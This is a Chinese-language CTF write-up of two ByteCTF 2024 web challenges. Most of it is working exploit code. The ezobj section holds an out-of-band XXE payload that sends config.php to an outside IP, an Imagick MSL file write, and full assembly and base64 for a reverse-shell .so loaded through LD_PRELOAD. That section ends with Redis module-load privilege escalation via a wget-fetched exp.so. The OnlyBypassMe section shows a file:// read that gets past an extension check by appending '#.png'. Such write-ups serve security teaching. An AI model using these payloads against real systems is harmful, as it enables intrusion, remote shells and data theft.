ezobj 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php ini_set ("display_errors" , "On" );include_once ("config.php" );if (isset ($_GET ['so' ]) && isset ($_GET ['key' ])) { if (is_numeric ($_GET ['so' ]) && $_GET ['key' ] === $secret ) { array_map (function($file ) { echo $file . "\n" ; }, glob ('/tmp/*' )); putenv ("LD_PRELOAD=/tmp/" .$_GET ['so' ].".so" ); } } if (isset ($_GET ['byte' ]) && isset ($_GET ['ctf' ])) { $a = new ReflectionClass ($_GET ['byte' ]); $b = $a ->newInstanceArgs ($_GET ['ctf' ]); } elseif (isset ($_GET ['clean' ])){ array_map ('unlink' , glob ('/tmp/*' )); } else { highlight_file (__FILE__ ); echo 'Hello ByteCTF2024!' ; }
首先需要读取config.php里的$secret
1 2 3 $a = new ReflectionClass ($_GET ['byte' ]);$b = $a ->newInstanceArgs ($_GET ['ctf' ]);
这里是另一种方式的php原生类利用,没有给回显,就可以尝试加载外部实体xml读文件。
可以看看这篇文章:任意代码执行下的php原生类利用
evil1.xml
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http://47.108.89.135/evils/send.xml"> %remote; %all; %send; ]>
send.xml
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=config.php"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.108.89.135/send.php?file=%file;'>">
payload:
1 ?byte=SimpleXMLElement&ctf[]=http://47.108.89.135/evils/evil1.xml
读到$secret=HelloByteCTF2024
然后我们需要在/tmp里写纯数字的so文件,php会把它加入环境变量,可以通过某种方式加载这个so来执行命令。
可以通过Imagick触发msl
evil2.xml
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data:text/8BIM;base64,base64编码后的so文件" /> <write filename="/tmp/123.so" /> </image>
1 2 3 4 运行这个可以在/tmp里写进去你原模原样的evil2.xml,而且文件名是随机的: ?byte=Imagick&ctf[]=http://47.108.89.135/evils/evil2.xml 然后再运行这个,可以解析tmp目录下的所有xml文件,就会生成123.so了,而且内容是base64解码之后的so byte=Imagick&ctf[]=vid:msl:/tmp/*
直接这样写不进去直接用C语言编译的so文件,可能是文件过大的原因,这里请求pwn师傅写了一个手搓so文件的脚本,用这个脚本生成的代码去编译生成的so会很小。
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.update(arch='amd64' ,os='linux' ) target_ip = "47.108.89.135" target_port = 2333 connect_code = shellcraft.connect(target_ip, target_port) dup_shell_code = shellcraft.dupsh() full_code = connect_code + dup_shell_code with open (r'C:\Users\13664\Desktop\test.txt' , 'w' ) as f: f.write(full_code)
https://blingblingxuanxuan.github.io/2024/01/29/240129-the-smallest-elf/
然后把生成的东西覆盖掉_start:的内容,把注释和关键字删去。
恶意so文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 BITS 64 org 0x0 ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type : ET_DYN dw 0x3e ; e_machine dd 1 ; e_version dq _start ; e_entry dq 0x40 ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw 0x40 ; e_ehsize dw 0x38 ; e_phentsize dw 2 ; e_phnum dw 0 ; e_shentsize ; dw 0 ; e_shnum ; dw 0 ; e_shstrnd ; phdr_loadable: ; Elf64_Phdr dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq loadable_size ; p_filesz dq loadable_size ; p_memsz dq 0x1000 ; p_align phdr_dynamic: ; Elf64_Phdr dd 2 ; p_type dd 7 ; p_flags dq loadable_size ; p_offset dq _dynamic ; p_vaddr dq _dynamic ; p_paddr dq dynamic_size ; p_filesz dq dynamic_size ; p_memsz dq 0x8 ; p_align _start: push 41 ; 将 socket 系统调用号压入栈 pop rax ; 将系统调用号取出到 rax push 2 ; 将地址族 AF_INET (2) 压入栈 pop rdi ; 将地址族取出到 rdi push 1 ; 将套接字类型 SOCK_STREAM (1) 压入栈 pop rsi ; 将类型取出到 rsi cdq ; 将 rdx 清零 (用于协议) syscall ; 调用系统调用 mov rbp, rax ; 将返回的 socket 文件描述符保存到 rbp mov rax, 0x101010101010101 ; 创建一个全 1 的值 push rax ; 将其压入栈 mov rax, 0x101010101010101 ^ -0x78a693d0e2f6fffe ; 生成目标地址 xor [rsp], rax ; 设置 sockaddr 结构体的内容 push 42 ; 将 connect 系统调用号压入栈 pop rax ; 取出到 rax mov rdi, rbp ; 将 socket 文件描述符移入 rdi push 0x10 ; socklen_t addrlen pop rdx ; 将长度取出到 rdx mov rsi, rsp ; 将 sockaddr 结构体指针移入 rsi syscall ; 调用 connect mov rdi, rbp ; 将 socket 文件描述符移入 rdi push 2 ; 需要重定向的文件描述符数量 pop rsi ; 将计数存入 rsi loop_1: push 33 ; 将 dup2 系统调用号压入栈 pop rax ; 取出到 rax syscall ; 调用 dup2 dec rsi ; 递减计数 jns loop_1 ; 如果 rsi >= 0,继续循环 push 0x68 ; 压入字符串的后半部分 mov rax, 0x732f2f2f6e69622f ; 压入 '/bin/sh' 的小端格式 push rax ; 将路径压入栈 mov rdi, rsp ; 将路径指针移入 rdi push 0x1010101 ^ 0x6873 ; 创建参数数组的后半部分 xor dword [rsp], 0x1010101 ; 清理 argv xor esi, esi ; envp = NULL push rsi ; null terminate push 8 ; argv 数组长度 pop rsi ; 计算 argv 的地址 add rsi, rsp ; 将参数数组指针调整 push rsi ; 'sh' mov rsi, rsp ; 将 argv 指针移入 rsi xor edx, edx ; envp = NULL push 59 ; 将 execve 系统调用号压入栈 pop rax ; 取出到 rax syscall ; 调用 execve loadable_size equ $ - ehdr _dynamic: dq 6FFFFEF5h,_hash ;DT_HASH dq 5, 0 ;DT_STRTAB dq 6, 0 ;DT_SYMTAB dq 0Ah, 0 ;DT_STRSZ dq 0Bh, 0 ;DT_SYMENT dq 0Ch, _start ;DT_INIT dq 0,0 ;DT_NULL dynamic_size equ $ - _dynamic _hash: dd 1 dd 1 dd 1 dd 0 dq 0 dd 0 dd 0
然后编译,生成123.so
1 nasm -f bin -o 123.so 1.txt
evil2.xml
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAsAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAAAAQAAAAAAAAAgAAAAcAAAAmAQAAAAAAACYBAAAAAAAAJgEAAAAAAABwAAAAAAAAAHAAAAAAAAAACAAAAAAAAABqKVhqAl9qAV6ZDwVIicVIuAEBAQEBAQEBUEi4AwEIHC5tWIZIMQQkaipYSInvahBaSInmDwVIie9qAl5qIVgPBUj/znn2amhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8F9f7/bwAAAACWAQAAAAAAAAUAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAACgAAAAAAAAAAAAAAAAAAAAsAAAAAAAAAAAAAAAAAAAAMAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /> <write filename="/tmp/123.so" /> </image>
经过一系列操作后,发现so文件并没有成功被加载。
https://www.anquanke.com/post/id/175403%C3%82%C2%A0#h2-6
我们发现当文件是MPEG format时,程序会调用’ffmpeg’ program进行转换,而如下后缀都被认为成MPEG format
1 WMV MOV M4V M2V MP4 MPG MPEG MKV AVI 3G2 3GP
意思是,在调用MPEG format文件的时候,才会调用so文件。那我们还要同时写一个MPEG format类型的文件
evil2.xml
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAsAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAAAAQAAAAAAAAAgAAAAcAAAAmAQAAAAAAACYBAAAAAAAAJgEAAAAAAABwAAAAAAAAAHAAAAAAAAAACAAAAAAAAABqKVhqAl9qAV6ZDwVIicVIuAEBAQEBAQEBUEi4AwEIHC5tWIZIMQQkaipYSInvahBaSInmDwVIie9qAl5qIVgPBUj/znn2amhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8F9f7/bwAAAACWAQAAAAAAAAUAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAACgAAAAAAAAAAAAAAAAAAAAsAAAAAAAAAAAAAAAAAAAAMAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /> <write filename="/tmp/123.so" /> <write filename="/tmp/123.wmv" /> </image>
这样会在/tmp里同时生成一个123.wmv,而且要在加载so的时候同时加载123.wmv
1 ?so=123&key=HelloByteCTF2024&byte=Imagick&ctf[]=/tmp/123.wmv
我们在服务器上起监听,就能弹到shell了。
然后到处都找不到flag,查看启动的进程,发现存在redis
同时在/etc/redis-6.0.8/redis.conf里找到了链接redis的密码bytectfa0d90b
有了redis密码之后经过尝试,可以进行主从复制提权。
利用https://github.com/0671/RabR/blob/main/exp/linux/exp.so这个恶意so文件。
先把这个下载上传到vps上,然后再shell里利用wget下载到/tmp目录下
记得利用chmod 777 exp.so 命令给予他可执行权限。
链接redis:redis-cli -h 127.0.0.1 -a bytectfa0d90b
加载恶意so文件:module load /tmp/exp.so
rce :system.exec “id”
在root目录下找到了flag
ByteCTF{42865f30bdd60920bff32aff81bfeeb4}
OnlyBypassMe 开局一个报错页面,是Spring Boot的报错页面,直接拿工具扫!
扫到了/swagger-ui.html,这是网站的api
先注册一个用户
然后去登录
注意到有一个被删除的路由,这里可能有漏洞,这里更新的头像是url的,尝试发现可以利用file伪协议读文件。
直接传{"url":"file:///etc/passwd"}
行不通,提示
1 2 3 4 5 6 7 8 9 10 { "code" : 500 , "message" : "文件格式错误,仅支持jpg/png/gif/jpeg类型文件" , "data" : [ ] , "timestamp" : "2024-09-21 14:32:45" , "error" : "文件格式错误,仅支持jpg/png/gif/jpeg类型文件" , "status" : false , "nums" : 0 , "requestId" : "2024092114324500016" }
可以用#截断后面的后缀{"url":"file:///etc/passwd#.png"}
然后进去/api/v1/users/getUserAvatar就能读到想要的文件。
但是flag没有在根目录,通过读取/etc/passwd发现有mysql服务。
1 mysql:x:105:106:MySQL Server,,,:/nonexistent:/bin/false
Linux下MySQL的数据文件存放位置
linux mysql默认数据库目录:/var/lib/mysql/
MySQL数据库文件的存放路径及目录
最后在/var/lib/mysql/byteCTF/flag.ibd里找到了flag
{"url":"file:///var/lib/mysql/byteCTF/flag.ibd#.png"}
获取到的内容解密后得到flag
ByteCTF{b0b563351887fdb76459eee6ce17472f}